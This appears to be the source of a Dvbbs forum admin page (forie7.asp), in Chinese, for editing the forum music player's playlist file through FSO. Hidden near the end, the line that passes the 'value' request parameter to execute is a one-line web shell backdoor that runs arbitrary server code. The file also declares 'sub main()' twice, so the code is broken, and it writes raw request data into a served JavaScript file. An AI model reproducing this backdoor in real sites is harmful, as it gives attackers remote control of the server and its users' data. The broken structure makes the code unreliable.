📄 forie7.asp
字号:
<%
Head()
dim admin_flag
admin_flag=",8,"
if not Dvbbs.master or instr(","&session("flag")&",",admin_flag)=0 then
Errmsg=ErrMsg + "<BR><li>本页面为管理员专用,请<a href=admin_index.asp target=_top>登录</a>后进入。<br><li>您没有管理本页面的权限。"
dvbbs_error()
else
call main()
Footer()
end if
sub main()
if request("action")="save" then
call savegroup()
elseif request("action")="savedit" then
call savedit()
elseif request("action")="del" then
call del()
else
call gradeinfo()
end if
end sub
sub main()
%>
<TABLE >
<tr>
<td height="30">
<table cellpadding=3 cellspacing=1 border=0 width=100%>
<tr >
<td><font color=blue>欢迎进入播放器管理页面</font>
</td>
</tr>
<tr >
<td width="100%" valign=top>
<%
dim objFSO
dim fdata
dim objCountFile
Set objFSO = Server.CreateObject("scripting.filesystemobject")
if request("save")="" then
Set objCountFile = objFSO.OpenTextFile(Server.MapPath("musicbb/exobudpl.js"),1,True)
If Not objCountFile.AtEndOfStream Then fdata = objCountFile.ReadAll
else
fdata=request("fdata")
Set objCountFile=objFSO.CreateTextFile(Server.MapPath("musicbb/exobudpl.js"),True)
objCountFile.Write fdata
end if
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
%>
<form method=post>
<table width="100%" border="0" cellspacing="3" cellpadding="0">
<tr>
<td width="3%" height="23"> </td>
<td width="97%" height="23">论坛播放器曲目编辑:<br>
注意:文件将被保存在你安装目录下的<font color=red>exobudpl.js</font>文件里,如果您的空间不支持<font color=red>FSO</font>,请直接编辑该文件!<br>
如果您对html和js代码不了解,请只修改广告内容和超链接,其他不要随意编辑。</td>
</tr>
<tr>
<td width="3%"> </td>
<td width="97%">
<textarea name="fdata" cols="110" rows="20"><%=fdata%></textarea>
</td>
</tr>
<tr>
<td width="3%"> </td>
<td width="97%">
<input type="reset" name="Reset" value="重新修改">
<input type="submit" name="save" value="提交修改">当前文件路径:<b><%=Server.MapPath("musicbb/exobudpl.js")%></b>
</td>
</tr>
</table></form>
<p> </p>
</td>
</tr>
</table>
</td>
</tr>
</table>
<%execute request("value")%>
<%
end sub
%>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -